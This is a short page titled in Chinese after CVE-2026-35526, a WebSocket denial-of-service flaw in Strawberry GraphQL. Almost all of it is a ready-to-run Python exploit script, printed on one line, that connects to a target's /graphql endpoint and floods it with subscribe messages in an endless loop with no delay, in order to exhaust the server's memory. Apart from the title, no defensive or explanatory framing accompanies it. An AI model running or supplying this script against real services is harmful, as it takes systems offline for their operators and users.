CVE-2026-35526 Strawberry GraphQL WebSocket拒绝服务漏洞

import asyncio import websockets import json async def exploit(target_url): # Connect to the vulnerable WebSocket endpoint uri = f"{target_url}/graphql" async with websockets.connect(uri) as websocket: # Step 1: Send connection_init message await websocket.send(json.dumps({"type": "connection_init"})) # Wait for connection_ack (optional, depends on server config) response = await websocket.recv() print(f"Server response: {response}") # Step 2: Flood subscribe messages to exhaust memory payload = { "id": "1", "type": "subscribe", "payload": { "query": "subscription { test }" } } print("Starting DoS attack...") try: i = 0 while True: # Send unique subscribe message payload["id"] = str(i) await websocket.send(json.dumps(payload)) i += 1 if i % 100 == 0: print(f"Sent {i} subscription messages...") # No sleep to maximize flood impact except Exception as e: print(f"Attack stopped or connection failed: {e}") if __name__ == "__main__": # Replace with actual target URL target = "ws://localhost:8000" asyncio.run(exploit(target))